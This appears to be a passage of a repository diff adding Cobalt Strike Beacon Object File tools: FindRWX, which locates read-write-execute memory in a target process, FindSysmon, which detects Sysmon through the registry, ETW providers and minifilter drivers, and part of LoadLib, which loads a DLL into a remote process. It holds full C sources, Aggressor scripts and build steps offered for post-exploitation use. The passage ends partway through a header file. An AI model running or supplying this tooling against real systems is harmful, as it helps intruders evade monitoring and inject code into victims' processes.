+		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
+	}
+
+	KERNEL32$CloseHandle(hProcess);
+	return 0;
+}
+
+

+ 30 - 0
KIT/FindRWX/findrwx.cna

@@ -0,0 +1,30 @@
+# author REDMED-X
+
+beacon_command_register(
+	"findrwx", "Find RWX memory regions in a target process.",
+	"INFO:\nFind processes that already have memory allocated for read/write/execute (like most .NET processes)\n\nOPTIONS:\n[pid]: target process to enumerate\n\n" .
+	"USAGE:\nfindrwx <pid>\n\n");
+
+alias findrwx {
+    $bid = $1;
+	$pid = $2;
+
+	if ($pid eq "") {
+		berror($bid, "Please make sure that the PID of the target process is specified.");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("findrwx.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+    
+	blog($bid, "Tasked to verify if the target process has RWX memory regions..");
+	
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 23 - 0
KIT/FindRWX/findrwx.h

@@ -0,0 +1,23 @@
+#include <windows.h>
+
+//FindRWX
+DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+

+ 15 - 0
KIT/FindSysmon/README.md

@@ -0,0 +1,15 @@
+# FindSysmon
+Verify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.
+
+## Options
+`reg`: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.
+`driver`: list all the Minifilter drivers on the system and check manually if a minifilter is present that is associated with Sysmon (requires elevated privileges).
+
+## Usage
+`findsysmon <reg | driver>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/FindSysmon/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/FindSysmon/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findsysmon.c
+move /y findsysmon.obj findsysmon.o
+dumpbin /disasm findsysmon.o > findsysmon.disasm
+

+ 363 - 0
KIT/FindSysmon/findsysmon.c

@@ -0,0 +1,363 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tdh.h>
+#include <pla.h>
+#include <oleauto.h>
+#include <tlhelp32.h>
+#include <fltuser.h>
+#include "findsysmon.h"
+#include "beacon.h"
+
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); 
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+	return;
+}
+
+
+
+
+//https://gist.githubusercontent.com/stevemk14ebr/af8053c506ef895cd520f8017a81f913/raw/98944bc6ae995229d5231568a8ae73dd287e8b4f/guids
+BOOL PrintSysmonPID(wchar_t * guid) {
+	HRESULT hr = S_OK;
+	ITraceDataProvider *itdProvider = NULL;
+	IID CTraceDataProvider = {0x03837513,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDITraceDataProvider = {0x03837512,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDIEnumVARIANT = {0x00020404,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
+	IID IIDIValueMapItem = {0x03837533,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	BOOL activeSysmon = FALSE;
+	
+	hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
+	if(FAILED(hr)) return FALSE;
+
+	hr = OLE32$CoCreateInstance(&CTraceDataProvider, 0, CLSCTX_INPROC_SERVER, &IIDITraceDataProvider, (LPVOID *) &itdProvider); 
+	if(FAILED(hr))
+	{
+		//BeaconPrintf(CALLBACK_ERROR,"Failed to create instance of object: %lX", hr);
+	}
+	
+	hr = itdProvider->lpVtbl->Query(itdProvider, guid, NULL);
+	if(FAILED(hr))
+	{
+		//BeaconPrintf(CALLBACK_ERROR,"Failed to query the process based on the GUID: %lX\n", hr);
+	}
+	IValueMap *ivmProcesses = NULL;
+	hr = itdProvider->lpVtbl->GetRegisteredProcesses(itdProvider, &ivmProcesses);
+	
+	if(hr == S_OK) {
+		long count = 0;
+		hr = ivmProcesses->lpVtbl->get_Count(ivmProcesses, &count);
+		
+		if (count > 0) {
+			IUnknown *pUnk = NULL;
+			hr = ivmProcesses->lpVtbl->get__NewEnum(ivmProcesses, &pUnk);
+			IEnumVARIANT *pItems = NULL;
+			hr = pUnk->lpVtbl->QueryInterface(pUnk, &IIDIEnumVARIANT, (void **)&pItems);
+			pUnk->lpVtbl->Release(pUnk);
+			
+			VARIANT vItem;
+			VARIANT vPID;
+			OLEAUT32$VariantInit(&vItem);
+			OLEAUT32$VariantInit(&vPID);
+			
+			IValueMapItem *pProc = NULL;
+			while ((hr = pItems->lpVtbl->Next(pItems, 1, &vItem, NULL)) == S_OK) {
+				vItem.punkVal->lpVtbl->QueryInterface(vItem.punkVal, &IIDIValueMapItem, (void **) &pProc);
+				pProc->lpVtbl->get_Value(pProc, &vPID);
+				
+				if (vPID.ulVal) {
+					BeaconPrintToStreamW(L"Sysmon procID:\t\t%d\n", vPID.ulVal);
+					activeSysmon = TRUE;
+				}
+
+				OLEAUT32$VariantClear(&vPID);
+				pProc->lpVtbl->Release(pProc);
+				OLEAUT32$VariantClear(&vItem);
+			}
+		}
+	}
+	ivmProcesses->lpVtbl->Release(ivmProcesses);
+	itdProvider->lpVtbl->Release(itdProvider);
+	OLE32$CoUninitialize();
+
+	return activeSysmon;
+}
+
+
+BOOL FindSysmon() {
+    DWORD status = ERROR_SUCCESS;
+    PROVIDER_ENUMERATION_INFO * penum = NULL;    
+    PROVIDER_ENUMERATION_INFO * ptemp = NULL;
+    DWORD BufferSize = 0;                       
+    HRESULT hr = S_OK;                          
+    WCHAR StringGuid[MAX_GUID_SIZE];
+	
+    HKEY hKey;
+	DWORD cbLength = MAX_DATA_LENGTH;
+	DWORD dwType;
+	char* RegData = NULL;
+	wchar_t guid[256];	
+	BOOL activeSysmon = FALSE;
+
+
+	if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Sysmon/Operational"), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
+		RegData = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbLength);
+		if (RegData == NULL) {
+			return FALSE;
+		}
+
+		if(ADVAPI32$RegGetValueA(hKey,	NULL, "OwningPublisher", RRF_RT_ANY, &dwType, (PVOID)RegData, &cbLength) != ERROR_SUCCESS) {
+			return FALSE;
+		}
+		
+		if (MSVCRT$strlen(RegData) != 0) {
+			KERNEL32$MultiByteToWideChar(CP_UTF8, 0, RegData, -1, guid, 256);
+		}
+		else return FALSE;
+	}
+	else return FALSE;
+	if(RegData) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, RegData);
+	ADVAPI32$RegCloseKey(hKey);
+	
+	
+    status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    while (status == ERROR_INSUFFICIENT_BUFFER) {
+        ptemp = (PROVIDER_ENUMERATION_INFO *) MSVCRT$realloc(penum, BufferSize);
+        if (ptemp == NULL) {
+            return FALSE;
+        }
+
+        penum = ptemp;
+        ptemp = NULL;
+
+        status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    }
+	
+	//AANPASSEN
+    if (status != ERROR_SUCCESS) 
+		BeaconPrintf(CALLBACK_ERROR,"TdhEnumerateProviders failed.\n");
+	
+    else {
+        // search for Sysmon guid
+        for (DWORD i = 0; i < penum->NumberOfProviders; i++) {
+            hr = OLE32$StringFromGUID2(&penum->TraceProviderInfoArray[i].ProviderGuid, StringGuid, ARRAYSIZE(StringGuid));
+            if (FAILED(hr)) return FALSE;
+			
+			if (!MSVCRT$_wcsicmp(StringGuid, (wchar_t *)guid)) { 
+
+				BeaconPrintToStreamW(L"[!] Sysmon service found:\n===============================================================\n");
+				activeSysmon = PrintSysmonPID(guid);	
+
+				if(!activeSysmon) BeaconPrintToStreamW(L"Sysmon service status:\tStopped\n");
+				else BeaconPrintToStreamW(L"Sysmon service status:\tRunning\n");
+				
+				BeaconPrintToStreamW(L"Sysmon provider name:\t%s\nSysmon provider GUID:\t%s\n", (LPWSTR)((PBYTE)(penum)+penum->TraceProviderInfoArray[i].ProviderNameOffset), StringGuid); 
+				if (penum) {
+					MSVCRT$free(penum);
+					penum = NULL;
+				}
+				return TRUE;
+			}
+			
+        }
+    }
+
+    if (penum) {
+        MSVCRT$free(penum);
+        penum = NULL;
+    }
+	
+	return FALSE;
+}
+
+
+
+int PrintMiniFilterData(FILTER_AGGREGATE_STANDARD_INFORMATION * lpFilterInfo) {
+
+	FILTER_AGGREGATE_STANDARD_INFORMATION * fltInfo = NULL;
+	char * fltName, * fltAlt;
+	
+	fltInfo = (FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo;
+
+	// convert Filter name
+	int fltName_size = fltInfo->Type.MiniFilter.FilterNameLength;
+	LONGLONG src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterNameBufferOffset;
+	fltName = (char *) MSVCRT$malloc(fltName_size + 2);
+	MSVCRT$memset(fltName, 0, fltName_size + 2);
+	MSVCRT$memcpy(fltName, (void *) src, fltName_size);
+	
+	// convert Filter altitude
+	int fltAlt_size = fltInfo->Type.MiniFilter.FilterAltitudeLength;
+	src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterAltitudeBufferOffset;
+	fltAlt = (char *) MSVCRT$malloc(fltAlt_size + 2);
+	MSVCRT$memset(fltAlt, 0, fltAlt_size + 2);
+	MSVCRT$memcpy(fltAlt, (void *) src, fltAlt_size);	
+	
+	// print only data about minifilters
+	if (fltInfo->Flags == FLTFL_ASI_IS_MINIFILTER) {
+		BeaconPrintToStreamW(L"%-29s%s\t%26d\n", fltName, fltAlt, fltInfo->Type.MiniFilter.NumberOfInstances);
+	}
+	MSVCRT$free(fltName);
+	MSVCRT$free(fltAlt);	
+	
+	return 0;
+}
+
+
+BOOL FindMiniFilters() {
+	HRESULT res;
+	DWORD dwBytesReturned;
+	HANDLE hFilterFind;
+	DWORD dwFilterInfoSize = 1024;
+	LPVOID lpFilterInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), NULL, dwFilterInfoSize);
+	BOOL foundMinifilter = FALSE;
+	
+	res = Fltlib$FilterFindFirst(FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned, &hFilterFind);
+	if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) return foundMinifilter;
+	if (res != S_OK) return foundMinifilter;
+	
+	BeaconPrintToStreamW(L"[+] Found MiniFilter drivers.\n[*] Check if you can identify one that is associated with Sysmon (e.g. SysmonDrv):\n\n");
+	BeaconPrintToStreamW(L"Name Minifilter\t\tPriority altitude\t\tLoaded instances\n=======================================================================\n");
+	PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);
+	foundMinifilter = TRUE;
+
+	
+	while(true) {
+		res = Fltlib$FilterFindNext(hFilterFind, FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned);
+		if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) break;
+		if (res != S_OK) return foundMinifilter;
+		PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);		
+	}
+	
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), NULL, lpFilterInfo);
+    return foundMinifilter;
+}
+
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	CHAR *action;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	action = BeaconDataExtract(&parser, NULL);
+	
+	if (MSVCRT$strcmp(action, "reg") == 0) {
+		res = FindSysmon();
+		if(!res) {
+			BeaconPrintf(CALLBACK_ERROR, "[+] No Sysmon service found :)\n");
+			return 0;
+		}
+		else  {
+			BeaconOutputStreamW();
+			BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
+		}
+	}
+	else if (MSVCRT$strcmp(action, "driver") == 0) {
+		res = FindMiniFilters();
+		if(!res) {
+			BeaconPrintf(CALLBACK_ERROR,"[-] Couldn't list Minifilter drivers (high enough privileges?)\n");
+			return 0;
+		}
+		else  {
+			BeaconOutputStreamW();
+			BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
+
+		}
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following enumeration options: reg | driver (must be elevated)\n");
+	}
+
+	return 0;
+}
+
+
+
+

+ 32 - 0
KIT/FindSysmon/findsysmon.cna

@@ -0,0 +1,32 @@
+# author REDMED-X
+
+beacon_command_register(
+	"findsysmon", "Verify if Sysmon is running.\n",
+	"INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
+	"USAGE:\nfindsysmon <reg | driver>\n\n");
+
+
+alias findsysmon {
+    $bid = $1;
+    $action = $2;
+
+	if ($action eq "reg" || $action eq "driver") {
+	}
+	else {
+		berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("findsysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+	blog($bid, "Tasked to find Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 63 - 0
KIT/FindSysmon/findsysmon.h

@@ -0,0 +1,63 @@
+#include <windows.h>  
+
+#pragma comment(lib, "tdh.lib")
+#pragma comment(lib, "Ole32.lib") 
+#pragma comment(lib, "Advapi32.lib")
+#pragma comment(lib, "OleAut32.lib")
+#pragma comment(lib, "FltLib.lib" )
+
+#define HRESULT_FROM_WIN32(x) (x ? ((HRESULT) (((x) & 0x0000FFFF) | (FACILITY_WIN32 << 16) | 0x80000000)) : 0)
+#define MAX_GUID_SIZE 39
+#define MAX_DATA_LENGTH 65000
+#define true 1
+
+//PrintSysmonPID
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+
+//FindSysmon
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
+DECLSPEC_IMPORT LSTATUS WINAPI ADVAPI32$RegGetValueA(HKEY hkey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData);
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
+DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int __cdecl OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz, int cchMax);
+WINBASEAPI TDHSTATUS WINAPI TDH$TdhEnumerateProviders(PPROVIDER_ENUMERATION_INFO pBuffer, ULONG *pBufferSize);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void *ptr, size_t size);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *str);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
+
+//PrintMiniFilterData
+WINBASEAPI void * __cdecl MSVCRT$malloc(size_t size);
+WINBASEAPI void * __cdecl MSVCRT$memcpy(void *dest, const void *src, size_t count);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t *format, ...);
+WINBASEAPI void __cdecl MSVCRT$free(void *ptr);
+
+//FindMiniFilters
+WINBASEAPI HANDLE WINAPI Fltlib$FilterFindFirst(LPCWSTR VolumeName, WIN32_FIND_DATAW *FindFileData, LPCWSTR FileSpec);
+WINBASEAPI BOOL WINAPI Fltlib$FilterFindNext(HANDLE FindHandle, WIN32_FIND_DATAW *FindFileData);
+
+//main
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$getchar(void);
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+

+ 15 - 0
KIT/LoadLib/README.md

@@ -0,0 +1,15 @@
+# LoadLib
+Load a on disk present DLL via RtlRemoteCall API in a remote process. Depending on the process from which you run this tool, it may or may not work.
+
+## Options
+`<pid>`: specify the target process to load the DLL into. 
+`path`: full path to the on disk present DLL. 
+
+## Usage
+`loadlib <pid> <path to dll>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/LoadLib/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
